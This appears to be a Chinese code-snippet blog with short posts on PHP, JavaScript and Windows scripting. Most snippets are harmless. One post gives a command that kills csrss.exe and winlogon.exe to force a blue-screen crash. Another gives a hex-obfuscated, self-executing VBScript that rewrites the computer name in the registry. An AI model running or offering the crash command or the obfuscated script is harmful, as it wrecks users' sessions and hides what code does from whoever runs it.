修改网页内容代码
2019-7-29 乱云飞 代码 评论(0) 浏览(692) 标签: 修改网页内容 脚本代码
javascript:document.body.contentEditable='true';document.designMode='on';void0
谷歌浏览器使用方法:
F12--->conlsole--->document.body.contentEditable = "true"--->回车即可编辑网页内容
php中判断字符串是否全是中文或含有中文的实现代码
2018-9-3 乱云飞 代码 评论(0) 浏览(899) 标签: php代码 检测中文 包含中文
<?php header('Content-type:text/html; charset=utf-8'); $str = '你好'; if(preg_match('/^[\x{4e00}-\x{9fa5}]+$/u', $str)>0){ echo '全是中文'; }elseif(preg_match('/[\x{4e00}-\x{9fa5}]/u', $str)>0){ echo '含有中文'; } ?>
改计算机名为数字脚本
2018-7-19 乱云飞 代码 评论(1) 浏览(928) 标签: 批处理 vbs代码 修改计算机名称
S="2727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727270D0A272020B3ACD4BDBCBCCAF5D6A7B3D6D6D0D0C4D6C6D7F7202020205757572E434E32302E434E2020202020323030362D382D333020202020515133343537393435303120202020270D0A2727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727270D0A64696D205753480D0A53657420575348203D204372656174654F626A6563742822577363726970742E5368656C6C22290D0A64696D20636D706E616D652C7374720D0A737472203D2028636872283130292B636872283133292B636872283130292B636872283133292B636872283130292B63687228313329290D0A636D706E616D65203D205472696D28496E707574426F7828223D3D3D205757572E434E32302E434E203D3D3D2051513334353739343530312022267374722622C7EBCAE4C8EBBCC6CBE3BBFAC3FBA3BA222C22B3ACD4BDBCBCCAF5D6A7B3D6D6D0D0C4D6C6D7F72229290D0A494620636D706E616D65203D202222205448454E0D0A4D5347426F782022C3BBD3D0CAE4C8EBBCC6CBE3BBFAC3FB222C34302C22BCC6CBE3BBFAC3FBB8FCB8C4B3CCD0F2220D0A575363726970742E517569740D0A454E442049460D0A5753482E5265675772697465202022484B45595F4C4F43414C5F4D414348494E455C53595354454D5C436F6E74726F6C5365743030315C436F6E74726F6C5C436F6D70757465724E616D655C436F6D70757465724E616D655C436F6D70757465724E616D65222C636D706E616D652C225245475F535A220D0A5753482E5265675772697465202022484B45595F4C4F43414C5F4D414348494E455C53595354454D5C436F6E74726F6C5365743030315C436F6E74726F6C5C436F6D70757465724E616D655C416374697665436F6D70757465724E616D655C436F6D70757465724E616D65222C636D706E616D652C225245475F535A220D0A5753482E5265675772697465202022484B45595F4C4F43414C5F4D414348494E455C53595354454D5C436F6E74726F6C5365743030315C53657276696365735C54637069705C506172616D65746572735C4E5620486F73746E616D65222C636D706E616D652C225245475F535A220D0A5753482E5265675772697465202022484B45595F4C4F43414C5F4D414348494E455C53595354454D5C436F6E74726F6C5365743030315C53657276696365735C54637069705C506172616D65746572735C486F73746E616D65222C636D706E616D652C225245475F535A220D0A5753482E5265675772697465202022484B45595F4C4F43414C5F4D414348494E455C53595354454D5C436F6E74726F6C5365743030335C436F6E74726F6C5C436F6D70757465724E616D655C436F6D70757465724E616D655C436F6D70757465724E616D65222C636D706E616D652C225245475F535A220D0A5753482E5265675772697465202022484B45595F4C4F43414C5F4D414348494E455C53595354454D5C436F6E74726F6C5365743030335C53657276696365735C54637069705C506172616D65746572735C4E5620486F73746E616D65222C636D706E616D652C225245475F535A220D0A00000000000000000000000000000000000000000000":D="EXECUTE """"":C="&CHR(&H":N=")":DO WHILE LEN(S)>1:IF ISNUMERIC(LEFT(S,1)) THEN D=D&C&LEFT(S,2)&N:S=MID(S,3) ELSE D=D&C&LEFT(S,4)&N:S=MID(S,5) LOOP:EXECUTE D
电脑蓝屏代码
2018-7-19 乱云飞 代码 评论(0) 浏览(832) 标签: 电脑蓝屏 蓝屏代码 让电脑蓝屏
wmic process where name="csrss.exe" delete taskkill /f /im csrss.exe cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul
PHP网页密码验证
2018-7-11 乱云飞 代码 评论(0) 浏览(912) 标签: php代码 网页密码 密码验证 PHP密码
<?php //页面密码验证 header("Content-Type: text/html; charset=utf-8");//防止乱码 session_start(); if(isset($_POST['password']) && $_POST['password'] == '80c.cc'){ $_SESSION['ok'] = 1; header('location:?'); } if(!isset($_SESSION['ok'])){ exit(' <form method="post"> <input type="password" name="password" value="" placeholder="请输入密码" /> <input type="submit" value="登陆" /> </form> '); }
PHP最简单的生成随机颜色代码
2018-4-12 乱云飞 代码 评论(0) 浏览(1041) 标签: php代码 随机颜色
<?php echo '#'.substr(md5(rand()),0,6);?>
最简单的JS反转字符串代码,支持中文。
2018-4-4 乱云飞 代码 评论(1) 浏览(1154) 标签: 反转字符串 JS代码
<script> var str = "cc.c08//:ptth。文中持支,码代串符字转反SJ的单简最"; var fan= (str.split("").reverse().join("")); document.write(fan); </script>
PHP自带的反转字符串函数strrev
2018-4-4 乱云飞 代码 评论(0) 浏览(1041) 标签: 反转字符串 php代码
echo strrev("http://80c.cc/?123456");//反转字符串不支持中文
禁止iframe页面的JS脚本,可以阻止网页跳转
2018-4-2 乱云飞 代码 评论(0) 浏览(1067) 标签: 禁止JS 网页跳转
<iframe src="http://gantong.cc/" security="restricted" sandbox="">
PHP读取MDB数据库实例教程
2018-3-31 乱云飞 代码 评论(0) 浏览(1132) 标签: php代码 读取MDB数据库
<?php //读取mdb数据库例程 $conn = new com("ADODB.Connection"); $connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("000.mdb");//数据库名 $conn->Open($connstr); $rs = new com("ADODB.RecordSet"); $rs->Open("select * from yao_article",$conn,1,1);//数据表名 while(! $rs->eof) { $f = $rs->Fields(0);//从第0列开始输出 echo "<font color=red> ID </font>".$f->value; echo "<font color=red>标题</font>". $rs->Fields(1)->value; echo "<font color=red>颜色</font>". $rs->Fields(2)->value; echo "<font color=red>作者</font>". $rs->Fields(3)->value; echo "<font color=red>来源</font>". $rs->Fields(4)->value; echo "<font color=red>栏目</font>". $rs->Fields(5)->value; echo "<font color=red>关键字</font>". $rs->Fields(6)->value; echo "<font color=red>第七列</font>". $rs->Fields(7)->value; $rs->MoveNext(); echo "<hr>"; } ?>